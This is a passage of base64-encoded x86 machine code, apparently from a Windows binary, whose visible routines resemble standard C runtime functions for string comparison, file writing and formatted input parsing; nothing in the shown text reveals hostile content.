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D4alAQAAagKNhUTl//9TUOg4RwAAg8QMg/j/D4SSBAAAQ/+FQOX//+sbagFTjYVE5f//UOgURwAAg8QMg/j/D4RuBAAAM8BQUGoFjU30UWoBjY1E5f//UVD/tSDl//9D/4VA5f///xVI4gMQi/CF9g+EPQQAAGoAjYUs5f//UFaNRfRQi4Uk5f//iwD/NAf/FWzhAxCFwA+ECgQAAIuFQOX//4uNMOX//wPBiYU45f//ObUs5f//D4z2AwAAg70c5f//AA+EzQAAAGoAjYUs5f//UGoBjUX0UIuFJOX//4sAxkX0Df80B/8VbOEDEIXAD4SxAwAAg70s5f//AQ+MsAMAAP+FMOX///+FOOX//+mDAAAAPAF0BDwCdSEPtzMzyYP+Cg+UwYPDAoOFQOX//wKJtUTl//+JjRzl//88AXQEPAJ1Uv+1ROX//+j6bgAAWWY7hUTl//8PhUkDAACDhTjl//8Cg70c5f//AHQpag1YUImFROX//+jNbgAAWWY7hUTl//8PhRwDAAD/hTjl////hTDl//+LRRA5hUDl//8Pgvn9///pCAMAAIsOihP/hTjl//+IVA80iw6JRA846e8CAAAzyYsD9kQ4BIAPhKECAACAvT/l//8AiY1E5f//D4WoAAAAi5005f//OU0QD4b9AgAAi8sz9iuNNOX//42FSOX//ztNEHMmihNDQYmdIOX//4D6CnUL/4Uw5f//xgANQEaIEEBGgf7/EwAActWL8I2FSOX//yvwagCNhSjl//9QVo2FSOX//1CLhSTl//+LAP80B/8VbOEDEIXAD4RDAgAAi4Uo5f//AYU45f//O8YPjDsCAACLwyuFNOX//ztFEA+CbP///+klAgAAgL0/5f//Ag+FzQAAAIudNOX//zlNEA+GSAIAAIOlQOX//wCLyyuNNOX//2oCjYVI5f//XjtNEHNDD7cTA94DzomdIOX//4P6CnUaAbUw5f//ag1bZokYi50g5f//A8YBtUDl//8BtUDl//9miRADxoG9QOX///4TAAByuIvwjYVI5f//K/BqAI2FKOX//1BWjYVI5f//UIuFJOX//4sA/zQH/xVs4QMQhcAPhGkBAACLhSjl//8BhTjl//87xg+MYQEAAIvDK4U05f//O0UQD4JH////6UsBAACLhTTl//+JhSzl//85TRAPhnUBAACLjSzl//+DpUDl//8AK4005f//agKNhUj5//9eO00QczuLlSzl//8PtxIBtSzl//8DzoP6CnUOag1bZokYA8YBtUDl//8BtUDl//9miRADxoG9QOX//6gGAABywDP2VlZoVQ0AAI2N8Ov//1GNjUj5//8rwZkrwtH4UIvBUFZo6f0AAP8VSOIDEIvYO94PhJcAAABqAI2FKOX//1CLwyvGUI2ENfDr//9Qi4Uk5f//iwD/NAf/FWzhAxCFwHQMA7Uo5f//O95/y+sM/xV44QMQiYVE5f//O95/XIuFLOX//yuFNOX//4mFOOX//ztFEA+CC////+s/UY2NKOX//1H/dRD/tTTl////NDj/FWzhAxCFwHQVi4Uo5f//g6VE5f//AImFOOX//+sM/xV44QMQiYVE5f//g7045f//AHVsg71E5f//AHQtagVeObVE5f//dRToZFD//8cACQAAAOhsUP//iTDrP/+1ROX//+hwUP//Wesxi4Uk5f//iwD2RAcEQHQPi4U05f//gDgadQQzwOsk6CRQ///HABwAAADoLFD//4MgAIPI/+sMi4U45f//K4Uw5f//W4tN/F8zzV7omiD//8nDahBo+MIEEOjnmP//i10Ig/v+dRvo8E///4MgAOjVT///xwAJAAAAg8j/6ZQAAACF23gIOx0QMQUQchroyU///4MgAOiuT///xwAJAAAA6AGH///r0ovDwfgFjTyFIDEFEIvzg+YfweYGiwcPvkQwBIPgAXTGU+haw///WYNl/ACLB/ZEMAQBdBT/dRD/dQxT6G74//+DxAyJReTrF+hUT///xwAJAAAA6FxP//+DIACDTeT/x0X8/v///+gMAAAAi0Xk6HCY///Di10IU+iiw///WcOL/1WL7FFRi0UMV4t9CIXAdAKJOIX/dRfoBU///8cAFgAAAOhYhv//M8DpkAEAAIN9EAB0DIN9EAJ83YN9ECR/14Nl/ABTVmoIWw+3N1NWg8cC6PxmAABZWYXAde1mg/4tdQaDTRQC6wZmg/4rdQYPtzeDxwKDfRAAdS1W6ClqAABZhcB0CcdFEAoAAADrPg+3B4P4eHQKg/hYdAWJXRDrLMdFEBAAAACDfRAQdR9W6PZpAABZhcB1FA+3B4P4eHQFg/hYdQcPt3cCg8cEg8j/M9L3dRCJVfiL2FboymkAAFmD+P91KWpBWGY7xncGZoP+WnYJjUafZoP4GXcxjUafZoP4GQ+3xncDg+ggg8DJO0UQcxqDTRQIOV38cip1BTtF+HYjg00UBIN9DAB1JYtFFIPvAqgIdSaDfQwAdAOLfQiDZfwA62GLTfwPr00QA8iJTfwPtzeDxwLpfP///77///9/qAR1G6gBdT2D4AJ0CYF9/AAAAIB3CYXAdSs5dfx2JuibTf//9kUUAccAIgAAAHQGg038/+sP9kUUAmoAWA+VwAPGiUX8i0UMXluFwHQCiTj2RRQCdAP3XfyLRfxfycOL/1WL7GoA/3UQ/3UM/3UI6Cn+//+DxBBdw4v/VYvsiwY5RQh1RosPagJQO00MdSvonmr//1lZiQeFwHUEM8Bdw4tFEMcAAQAAAP82/3UM/zfoR1L//4PEDOsPUegMa///g8QMhcB01YkH0SYzwEBdw4v/VYvsD7ZFCFDoBG///4XAD75FCFl1BoPg34PoB13D/0oEeAmLCg+2AUGJCsNS6M6d//9Zw4v/VYvsU4tVCP8G6Nr///+L2IP7/3QOD7bDUOjCb///WYXAdeGLw1tdw4v/VYvsgewEAgAAodAGBRAzxYlF/ItNFItFCFaLdQxXM/+JjRz+//+NjXz+//+JhWD+//+JtVD+//+JjVj+///HhSj+//9eAQAAib0w/v//ib0Q/v//ib1s/v//ib0M/v//O/d1GOgkTP//xwAWAAAA6HeD//+DyP/plxAAADvHdOT2QAxAU3VyUOg5Nf//WbpgCgUQg/j/dBuD+P50FovIg+Efi9jB+wXB4QYDDJ0gMQUQ6wKLyvZBJH91JoP4/3QZg/j+dBSLyIPgH8H5BcHgBgMEjSAxBRDrAovC9kAkgHQY6KdL///HABYAAADo+oL//4PI/+kZEAAA/3UQjY38/f//6PMs//+KBsaFXv7//wCJvXT+//+JvTj+//+EwA+E1Q8AAA+2wFDoiW7//1mFwHRL/7Vg/v///410/v//jbV0/v//6Iv+//9Zg/j/dA7/tWD+//9Q6Lt7//9ZWYu1UP7//0YPtgZQ6Elu//9ZhcB18Ym1UP7//+lwDgAAi7VQ/v//igY8JQ+F2g0AADhGAQ+Exw0AADP/ib08/v//xoUv/v//AIm9VP7//4m9QP7//4m9ZP7//4m9NP7//8aFXf7//wDGhVz+//8AxoVq/v//AMaFc/7//wDGhV/+//8AxoVr/v//AMaFe/7//wGJvST+//9GD7YeD7bDUOiwbP//WYXAdB6LhWT+////hUD+//9rwAqNRBjQiYVk/v//6cUAAACD+04Pj4MAAAAPhLYAAACD+yp0cIP7Rg+EqAAAAIP7SXQQg/tMdXT+hXv+///pkwAAAIpOAYD5NnUejUYCgDg0dRb/hST+//+L8Im9SP7//4m9TP7//+ttgPkzdQyNRgKAODJ1BIvw61yA+WR0V4D5aXRSgPlvdE2A+Xh0SID5WHUZ60H+hWr+///rOYP7aHQog/tsdA2D+3d0Fv6Fc/7//+sijUYBgDhsdJf+hXv+///+hWv+///rDP6Ne/7///6Na/7//4C9c/7//wAPhP7+//+AvWr+//8AibVQ/v//dRmLhRz+//+LGImFFP7//4PABImFHP7//+sCM9uAvWv+//8AiZ1E/v//xoVz/v//AHUYigY8U3QLxoVr/v///zxDdQfGhWv+//8BD7Y+g88gib0Y/v//g/9udFCD/2N0GYP/e3QU/7Vg/v//jbV0/v//6Fr8//9Z6xGLlWD+////hXT+///oMPz//4mFbP7//4P4/w+E+wwAAIudRP7//4u1UP7//4u9GP7//4uNQP7//4XJdA2DvWT+//8AD4Q2DAAAgL1q/v//AHVBg/9jdAqD/3N0BYP/e3Uyi4UU/v//ixiDwASJhRT+//+DwASJhRz+//+LQPyJnUT+//+JhTT+//+D+AEPgvULAACD/28Pj5cFAAAPhFUIAACD/2MPhBAEAACD/2QPhEMIAAAPjqMFAACD/2d+RIP/aXQhg/9uD4WQBQAAgL1q/v//AIuFdP7//w+EvwoAAOnmCgAAamRfi51s/v//g/stD4WTBgAAxoVc/v//AemMBgAAM9uDvWz+//8tdQyLhVj+///GAC1D6wmDvWz+//8rdR3/jWT+//+LlWD+////hXT+///oB/v//4mFbP7//4O9QP7//wB1B4ONZP7///8PtoVs/v//62uLhWT+////jWT+//+FwHRmioVs/v//i41Y/v///4VU/v//iAQLjYUw/v//UI2FfP7//1BDU429WP7//421KP7//+gr+v//g8QMhcAPhHELAACLlWD+////hXT+///ohvr//4mFbP7//w+2wFDoamn//1mFwHWKi4X8/f//i4C8AAAAiwCKAIiFXf7//zqFbP7//w+F5QAAAIuFZP7///+NZP7//4XAD4TRAAAAi5Vg/v///4V0/v//6Cv6//+LjVj+//+JhWz+//+KhV3+//+IBAuNhTD+//9QjYV8/v//UENTjb1Y/v//jbUo/v//6H75//+DxAyFwA+ExAoAAA+2hWz+///ra4uFZP7///+NZP7//4XAdGaLhVj+//+KjWz+////hVT+//+IDAONhTD+//9QjYV8/v//UENTjb1Y/v//jbUo/v//6CT5//+DxAyFwA+EagoAAIuVYP7///+FdP7//+h/+f//iYVs/v//D7bAUOhjaP//WYXAdYqDvVT+//8AD4RfAQAAg71s/v//ZXQNg71s/v//RQ+FSQEAAIuFZP7///+NZP7//4XAD4Q1AQAAi4VY/v//xgQDZY2FMP7//1CNhXz+//9QQ1ONvVj+//+NtSj+///okvj//4PEDIXAD4TYCQAAi5Vg/v///4V0/v//6O34//+JhWz+//+D+C11LIuFWP7//8YEAy2NhTD+//9QjYV8/v//UENT6Ez4//+DxAyFwA+EkgkAAOsJg71s/v//K3Uvi4Vk/v///41k/v//hcB1CCGFZP7//+sXi5Vg/v///4V0/v//6IT4//+JhWz+//8PtoVs/v//62uLhWT+////jWT+//+FwHRmi4VY/v//io1s/v///4VU/v//iAwDjYUw/v//UI2FfP7//1BDU429WP7//421KP7//+i49///g8QMhcAPhP4IAACLlWD+////hXT+///oE/j//4mFbP7//w+2wFDo92b//1mFwHWK/410/v//g71s/v///3QT/7Vg/v///7Vs/v//6Dd1//9ZWYO9VP7//wAPhKoIAACAvWr+//8AD4VNBwAAi4VY/v///4U4/v//jY38/f//UVD/tUT+///GBAMAD76Fe/7//0hQ/zX8EgUQ/xVo4gMQ/9CDxBDpEAcAAIXJdRD/hWT+///HhUD+//8BAAAAgL1r/v//AH4HxoVf/v//Af+NdP7//4O9bP7///+L83QT/7Vg/v///7Vs/v//6Jh0//9ZWYP/Y3QG/400/v//g71A/v//AHQUi4Vk/v///41k/v//hcAPhHYDAACLlWD+////hXT+///oBff//4mFbP7//4P4/w+EPQMAAIP/Y3RMg/9zdROD+Al8CYP4DQ+OJQMAAIP4IHU0g/97D4UXAwAAD769Xf7//zPSi8iD4QdC0+KLyMH5Aw++TA3cM8+F0Q+E8gIAAIu9GP7//4C9av7//wAPhdkCAACDvTT+//8AD4QaBwAAgL1f/v//AA+EsQIAAIiFIP7//w+2wFDojzEAAFmFwHQXi5Vg/v///4V0/v//6Fn2//+IhSH+//+Nhfz9//9Qi4X8/f//x4UQ/v//PwAAAP+wrAAAAI2FIP7//1CNhRD+//9Q6PAzAABmi4UQ/v//g8QQZokDg8MC6UQCAACLx4PocA+EsgIAAIPoAw+EiP7//0hID4SoAgAAg+gDD4SQ+v//g+gDdDMPtgY7hWz+//8PhTwGAAD+jV7+//+AvWr+//8AD4VMBQAAi4UU/v//iYUc/v//6TsFAACAvWv+//8AfgfGhV/+//8BRoA+XnUIRsaFXf7///9qII1F3GoAUOhSaf//g8QMgD5ddQyyXUbGRecg6ZIAAACKlS/+///phwAAAEY8LXVrhNJ0Z4oOgPlddGBGOtFzCIiNe/7//+sIiJV7/v//itE6lXv+//9zJoqFe/7//yrCD7b6D7bQi8+D4QeLx7MB0uPB6AONRAXcCBhHSnXoD7aNe/7//4vBg+EHsgHS4sHoA41EBdwIEDLS6xcPtsiK0IvBg+EHswHB6APS441EBdwIGIoGPF0PhW////+EwA+EqAUAAIudRP7//4u9GP7//4m1UP7//+lV/f//g/srdS7/jWT+//91DYXJdAnGhXP+//8B6xmLlWD+////hXT+///ojPT//4vYiZ1s/v//g/swD4V4AQAAi5Vg/v///4V0/v//6Gr0//+L2ImdbP7//4D7eHRQgPtYdEvHhVT+//8BAAAAg/94dBuDvUD+//8AdA7/jWT+//91Bv6Fc/7//2pv61v/jXT+//+D+/90Dv+1YP7//1Pob3H//1lZajBb6QQBAACLlWD+////hXT+///o/PP//4O9QP7//wCL2ImdbP7//3QWg61k/v//AoO9ZP7//wF9Bv6Fc/7//2p4X+nKAAAAiANDiZ1E/v//6Yb8//9G6Yb8////jXT+//+D+P90Dv+1YP7//1Do+nD//1lZO/MPhHIEAACAvWr+//8AD4UVAwAA/4U4/v//g70Y/v//Yw+EAgMAAIC9X/7//wB0EIuNRP7//zPAZokB6ekCAACLhUT+///GAADp2wIAAMaFe/7//wGLnWz+//+D+y11CcaFXP7//wHrBYP7K3Uu/41k/v//dQ2FyXQJxoVz/v//AesZi5Vg/v///4V0/v//6Avz//+L2ImdbP7//4O9JP7//wAPhEYBAACAvXP+//8AD4UIAQAAg/94dGmD/3B0ZA+2w1DoyWH//1mFwA+E0wAAAIP/b3Uqg/s4D43FAAAAi4VI/v//i41M/v//D6TBA8HgA4mFSP7//4mNTP7//+tfagBqCv+1TP7///+1SP7//+jlZP//iYVI/v//iZVM/v//6zwPtsNQ6Olh//9ZhcB0c4uFSP7//4uNTP7//w+kwQTB4ARTiYVI/v//iY1M/v//6Cjy//+L2FmJnWz+////hVT+//+NQ9CZAYVI/v//EZVM/v//g71A/v//AHQI/41k/v//dDeLlWD+////hXT+///oB/L//4vYiZ1s/v//6RH/////jXT+//+D+/90Dv+1YP7//1PoO2///1lZgL1c/v//AA+E/gAAAIuFSP7//4uNTP7///fYg9EA99mJhUj+//+JjUz+///p2gAAAIC9c/7//wAPhb4AAACD/3h0N4P/cHQyD7bDUOiDYP//WYXAD4SJAAAAg/9vdRCD+zh9f4uFPP7//8HgA+s1i4U8/v//a8AK6yoPtsNQ6NVg//9ZhcB0W8GlPP7//wRT6Czx//+L2IuFPP7//1mJnWz+////hVT+//+DvUD+//8AjUQY0ImFPP7//3QI/41k/v//dDeLlWD+////hXT+///oC/H//4vYiZ1s/v//6Vv/////jXT+//+D+/90Dv+1YP7//1PoP27//1lZgL1c/v//AHQG9508/v//g/9GdQeDpVT+//8Ag71U/v//AA+ElwEAAIC9av7//wB1Pv+FOP7//4udRP7//4uFPP7//4O9JP7//wB0E4uFSP7//4kDi4VM/v//iUME6xCAvXv+//8AdASJA+sDZokDi7VQ/v///oVe/v//Rom1UP7//+tsPCV1BjhGAXUBRouVYP7///+FdP7//+hG8P//i9gPtgZGiZ1s/v//ibVQ/v//O8MPhe4AAAAPtsNQ6EMrAABZhcB0KYuVYP7///+FdP7//+gN8P//D7YORom1UP7//zvID4WqAAAA/410/v//g71s/v///3UbgD4lD4W9AAAAi4VQ/v//gHgBbg+FrQAAAIvwigaEwA+FLfH//+mcAAAAg71s/v///+t+gL1r/v//AH4HM8BmiQPrA8YDAOhwPP//xwAMAAAA63ODvWz+////dBP/tWD+////tWz+///o12z//1lZx4UM/v//AQAAAOtL6Ds8//+AvV/+//8AxwAMAAAAdAczwGaJBuswxgYA6yuD+P90Dv+1YP7//1DomGz//1lZg/v/dBP/tWD+////tWz+///ogGz//1lZg70w/v//AXUM/7VY/v//6N8R//9Zg71s/v///3Uqi4U4/v//hcB1CziFXv7//3UDg8j/gL0I/v//AHQ+i40E/v//g2Fw/esyg70M/v//AXUQ6J87///HABYAAADo8nL//4C9CP7//wB0CouFBP7//4NgcP2LhTj+//9bi038XzPNXugQDP//ycOL/1WL7IsG